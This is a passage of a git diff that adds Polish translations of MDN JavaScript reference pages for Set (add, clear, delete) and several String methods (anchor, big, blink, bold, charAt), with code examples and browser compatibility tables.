= new Set([...set1].filter(x => set2.has(x))); + +// Set z różnicami wartości set1 i set2 może być uzyskany następująco +var difference = new Set([...set1].filter(x => !set2.has(x))); + +// iterowanie po Set za pomocą .forEach +mySet.forEach(function(value) { + console.log(value); +}); +// 1 +// 2 +// 3 +// 4</pre> + +<h3 id="Implementacja_podstawowych_operacji_Set">Implementacja podstawowych operacji <code>Set</code></h3> + +<pre class="brush: js">Set.prototype.isSuperset = function(subset) { + for (var elem of subset) { + if (!this.has(elem)) { + return false; + } + } + return true; +} + +Set.prototype.union = function(setB) { + var union = new Set(this); + for (var elem of setB) { + union.add(elem); + } + return union; +} + +Set.prototype.intersection = function(setB) { + var intersection = new Set(); + for (var elem of setB) { + if (this.has(elem)) { + intersection.add(elem); + } + } + return intersection; +} + +Set.prototype.difference = function(setB) { + var difference = new Set(this); + for (var elem of setB) { + difference.delete(elem); + } + return difference; +} + +// Przykłady +var setA = new Set([1, 2, 3, 4]), + setB = new Set([2, 3]), + setC = new Set([3, 4, 5, 6]); + +setA.isSuperset(setB); // => true +setA.union(setC); // => Set [1, 2, 3, 4, 5, 6] +setA.intersection(setC); // => Set [3, 4] +setA.difference(setC); // => Set [1, 2] + +</pre> + +<h3 id="Relacje_z_Tablicami_(Array)">Relacje z Tablicami (<code>Array</code>)</h3> + +<pre class="brush: js">var myArray = ['value1', 'value2', 'value3']; + +// Użycie konstruktora Set do zamiany Array na Set. +var mySet = new Set(myArray); + +mySet.has('value1'); // => true + +// Użycie spread operator do zamiany Set na Array. +console.log([...mySet]); // Will show you exactly the same Array as myArray</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{ CompatChrome(38) }} [1]</p> + </td> + <td>12</td> + <td>{{ CompatGeckoDesktop("13") }}</td> + <td>{{ CompatIE("11") }}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td>Constructor argument: <code>new Set(iterable)</code></td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{ CompatGeckoDesktop("13") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>9.0</td> + </tr> + <tr> + <td>iterable</td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{ CompatGeckoDesktop("17") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Set.add()</code> returns the set</td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{ CompatGeckoDesktop("13") }}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Set.clear()</code></td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("19")}}</td> + <td>{{ CompatIE("11") }}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Set.keys(), Set.values(), Set.entries()</code></td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("24")}}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td><code>Set.forEach()</code></td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("25")}}</td> + <td>{{ CompatIE("11") }}</td> + <td>25</td> + <td>7.1</td> + </tr> + <tr> + <td>Value equality for -0 and 0</td> + <td>{{ CompatChrome(38) }}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("29")}}</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatSafari(9)}}</td> + </tr> + <tr> + <td>Constructor argument: <code>new Set(null)</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("37")}}</td> + <td>{{CompatIE(11)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatSafari(7.1)}}</td> + </tr> + <tr> + <td>Monkey-patched <code>add()</code> in Constructor</td> + <td>{{CompatVersionUnknown}}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("37")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatSafari(9)}}</td> + </tr> + <tr> + <td><code>Set[@@species]</code></td> + <td>{{ CompatChrome(51) }}</td> + <td>13</td> + <td>{{CompatGeckoDesktop("41")}}</td> + <td>{{CompatNo}}</td> + <td>{{ CompatOpera(38) }}</td> + <td>{{CompatSafari(10)}}</td> + </tr> + <tr> + <td><code>Set()</code> without <code>new</code> throws</td> + <td>{{CompatVersionUnknown}}</td> + <td>12</td> + <td>{{CompatGeckoDesktop("42")}}</td> + <td>{{CompatIE(11)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>9</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(38)}} [1]</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("13") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td>Constructor argument: <code>new Set(iterable)</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(38)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("13") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>9</td> + </tr> + <tr> + <td>iterable</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("17") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td><code>Set.clear()</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(38) }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("19")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td><code>Set.keys(), Set.values(), Set.entries()</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(38) }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("24")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td><code>Set.forEach()</code></td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(38) }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("25")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + <tr> + <td>Value equality for -0 and 0</td> + <td>{{CompatNo}}</td> + <td>{{ CompatChrome(38) }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("29")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>9</td> + </tr> + <tr> + <td>Constructor argument: <code>new Set(null)</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("37")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>8</td> + </tr> + <tr> + <td>Monkey-patched <code>add()</code> in Constructor</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("37")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + </tr> + <tr> + <td><code>Set[@@species]</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("41")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>10</td> + </tr> + <tr> + <td><code>Set()</code> without <code>new</code> throws</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("42")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>9</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] The feature was available behind a preference from Chrome 31. In <code>chrome://flags</code>, activate the entry “Enable Experimental JavaScript”.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map")}}</li> + <li>{{jsxref("WeakMap")}}</li> + <li>{{jsxref("WeakSet")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html new file mode 100644 index 0000000000..397939f84e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html @@ -0,0 +1,134 @@ +--- +title: Set.prototype.add() +slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.add() +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Prototype + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/add +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong>add()</strong> dodaje nowy element o określonej wartości (<code>value</code>) na koniec obieku <code>Set</code>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>mySet</em>.add(value);</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>value</dt> + <dd>Wymagany parametr. Wartość elementu, która zostanie dodana do obieku <code>Set</code>.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Obiekt <code>Set</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_metody_add">Użycie metody add</h3> + +<pre class="brush: js">var mySet = new Set(); + +mySet.add(1); +mySet.add(5).add('some text'); // można stworzyć "łańcuch" + +console.log(mySet); +// Set [1, 5, "some text"] +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>38</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("13.0")}}</td> + <td>11</td> + <td>25</td> + <td>7.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>38</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("13.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Specyficzne_zachowania_w_przeglądarkach">Specyficzne zachowania w przeglądarkach</h2> + +<ul> + <li>W Firefox 33 {{geckoRelease("33")}} i wcześniejszych wersjach, <code>Set.prototype.add</code> zwracał <code>undefined</code> i nie można było stworzyć "łańcucha". Błąd został naprawiony ({{bug(1031632)}}). Również w Chrome/v8 występuje ten <a href="https://code.google.com/p/v8/issues/detail?id=3410">problem</a>.</li> +</ul> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("Set.prototype.delete()")}}</li> + <li>{{jsxref("Set.prototype.has()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html new file mode 100644 index 0000000000..85ca894da9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html @@ -0,0 +1,124 @@ +--- +title: Set.prototype.clear() +slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.clear() +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Prototype + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong>clear()</strong> usuwa wszystkie elementy obiektu <code>Set</code>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>mySet</em>.clear();</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>{{jsxref("undefined")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_metody_clear">Użycie metody clear</h3> + +<pre class="brush: js">var mySet = new Set(); +mySet.add(1); +mySet.add('foo'); + +mySet.size; // 2 +mySet.has('foo'); // true + +mySet.clear(); + +mySet.size; // 0 +mySet.has('bar') // false +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>38</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("19.0")}}</td> + <td>11</td> + <td>25</td> + <td>7.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>25</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("19.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("Set.prototype.delete()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html new file mode 100644 index 0000000000..7071c9e4eb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html @@ -0,0 +1,102 @@ +--- +title: Set.prototype.delete() +slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.delete() +tags: + - ECMAScript 2015 + - JavaScript + - Method + - Prototype + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong>delete()</strong> usuwa określony element z obiektu <code>Set</code>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>mySet</em>.delete(value);</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>value</dt> + <dd>Wymagany parametr. Wartość elementu, która zostanie usunięta z obiektu <code>Set</code>.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p><code>true </code>jeżeli element został pomyślnie usunięty, w innym wypadku <code>false</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_metody_delete">Użycie metody delete</h3> + +<pre class="brush: js">var mySet = new Set(); +mySet.add('foo'); + +mySet.delete('bar'); // Zwraca false. Brak elementu "bar" do usunięca. +mySet.delete('foo'); // Zwraca true. Usunięto pomyślnie. + +mySet.has('foo'); // Zwraca false. Element "foo" nie znajduje się już w Set. +</pre> + +<p>Jak usunąć obiekt z Set:</p> + +<pre class="brush: js">var points = new Set(); // Tworzy Set + +points.add({x: 10, y: 20}); // Dodaje obiekt do Set +points.add({x: 20, y: 30}); // Dodaje obiekt do Set + +// Usuwa point, dla którego `x > 10` +points.forEach(function(point){ + if(point.x > 10){ + points.delete(point); + } +}) +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Początkowa definicja</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p> </p> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("javascript.builtins.Set.delete")}}</p> + +<p> </p> + +<div id="compat-desktop"> </div> + +<div id="compat-mobile"> </div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Set")}}</li> + <li>{{jsxref("Set.prototype.clear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html b/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html new file mode 100644 index 0000000000..737c385889 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html @@ -0,0 +1,56 @@ +--- +title: String.prototype.anchor() +slug: Web/JavaScript/Referencje/Obiekty/String/anchor +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Tworzy kotwicę HTML {{HTMLElement("a")}} do użycia jako cel odnośnika.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.anchor(<var>name</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>name</code></dt> + <dd>Łańcuch znaków.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Use the <code>anchor()</code> method to programmatically create and display an anchor in a document.</p> + +<p>W składni łańcuch znaków reprezentuje literał tekstowy, który ma zobaczyć użytkownik. Łańcuch <code>name</code> reprezentuje atrybut <code>name</code> znacznika <code>a</code>.</p> + +<p>Kotwice stworzone za pomocą metody <code>anchor</code> stają się elementami tablicy <code>document.anchors</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_anchor" name="Przyk.C5.82ad:_Zastosowanie_anchor">Przykład: Zastosowanie <code>anchor()</code></h3> + +<p>Następujący przykład wewnątrz kodu HTML elementu <code>script</code>:</p> + +<pre class="brush: js">var myString = "Tabela zawartości"; + +document.body.innerHTML = myString.anchor("contents_anchor"); +</pre> + +<p>spowoduje otrzymanie na wyjściu kodu HTML:</p> + +<pre class="brush: js"><a name="contents_anchor">Tabela zawartości</a> +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.link()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/big/index.html b/files/pl/web/javascript/referencje/obiekty/string/big/index.html new file mode 100644 index 0000000000..62914dfa9c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/big/index.html @@ -0,0 +1,43 @@ +--- +title: String.prototype.big() +slug: Web/JavaScript/Referencje/Obiekty/String/big +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/big +--- +<div>{{JSRef}} {{deprecated_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch znaków zostanie wyświetlony jakby znajdował się wewnątrz znacznika {{HTMLElement("big")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.big()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>big()</code> method embeds a string in a <code><big></code> tag: <code>"<big>str</big>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_big" name="Przyk.C5.82ad:_Zastosowanie_big">Przykład: Zastosowanie <code>big()</code></h3> + +<p>Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:</p> + +<pre class="brush: js">var worldString = "Witaj, Świecie"; + +console.log(worldString.small())<code class="language-js"><span class="token punctuation">;</span> <span class="token comment"> // </span></code><small>Witaj, Świecie</small> +console.log(worldString.big()); // <big>Witaj, Świecie</big> +console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.fontsize()")}}</li> + <li>{{jsxref("String.prototype.small()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/blink/index.html b/files/pl/web/javascript/referencje/obiekty/string/blink/index.html new file mode 100644 index 0000000000..056dbc3792 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/blink/index.html @@ -0,0 +1,50 @@ +--- +title: String.prototype.blink() +slug: Web/JavaScript/Referencje/Obiekty/String/blink +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/blink +--- +<div>{{JSRef}} {{deprecated_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch będzie migotał tak, jakby był on wewnątrz znacznika {{HTMLElement("blink")}}.</p> + +<div class="warning"> +<p><strong>Warning:</strong> Blinking text is frowned upon by several accessibility standards. The <code><blink></code> element itself is non-standard and deprecated!</p> +</div> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.blink()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>blink()</code> method embeds a string in a <code><blink></code> tag: <code>"<blink>str</blink>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <code>blink()</code></h3> + +<p>Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znaków:</p> + +<pre class="brush: js">var worldString="Witaj, Świecie"; + +console.log(worldString.blink()); // <blink>Witaj, Świecie</blink> +console.log(worldString.bold()); // <bold>Witaj, Świecie</bold> +console.log(worldString.italics()); // <i>Witaj, Świecie</i> +console.log(worldString.strike()); // <s>Witaj, Świecie</s> +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.bold()")}}</li> + <li>{{jsxref("String.prototype.italics()")}}</li> + <li>{{jsxref("String.prototype.strike()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/bold/index.html b/files/pl/web/javascript/referencje/obiekty/string/bold/index.html new file mode 100644 index 0000000000..0708d5799e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/bold/index.html @@ -0,0 +1,45 @@ +--- +title: String.prototype.bold() +slug: Web/JavaScript/Referencje/Obiekty/String/bold +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/bold +--- +<p>{{JSRef}}{{deprecated_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje wyświetlenie łańcucha znaków jako pogrubienia, jakby był w znaczniku {{HTMLElement("b")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.bold()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>bold()</code> method embeds a string in a <code><b></code> tag: <code>"<b>str</b>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <strong><code>bold()</code></strong></h4> + +<p>Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:</p> + +<pre class="brush: js">var worldString="Witaj, Świecie"; + +console.log(worldString.blink()); // <blink>Witaj, Świecie</blink> +console.log(worldString.bold()); // <bold>Witaj, Świecie</bold> +console.log(worldString.italics()); // <i>Witaj, Świecie</i> +console.log(worldString.strike()); // <s>Witaj, Świecie</s></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.blink()")}}</li> + <li>{{jsxref("String.prototype.italics()")}}</li> + <li>{{jsxref("String.prototype.strike()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/charat/index.html b/files/pl/web/javascript/referencje/obiekty/string/charat/index.html new file mode 100644 index 0000000000..30ce5303c2 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/charat/index.html @@ -0,0 +1,68 @@ +--- +title: String.prototype.charAt() +slug: Web/JavaScript/Referencje/Obiekty/String/charAt +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca określony znak z łańcucha znaków.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.charAt(<var>index</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>index</code> </dt> + <dd>Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Znaki w łańcuchu znaków są indeksowane od lewej do prawej strony. Indeksem pierwszego znaku jest 0, a indeksem ostatniego znaku w łańcuchu znaków o nazwie <code>stringName</code> jest <code>stringName.length - 1</code>. Jeśli dostarczona wartość parametru <code>index</code> znajduje się poza zakresem, JavaScript zwróci pusty łańcuch znaków.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_r.C3.B3.C5.BCnych_znak.C3.B3w_z_okre.C5.9Blonego_.C5.82a.C5.84cucha_znak.C3.B3w" 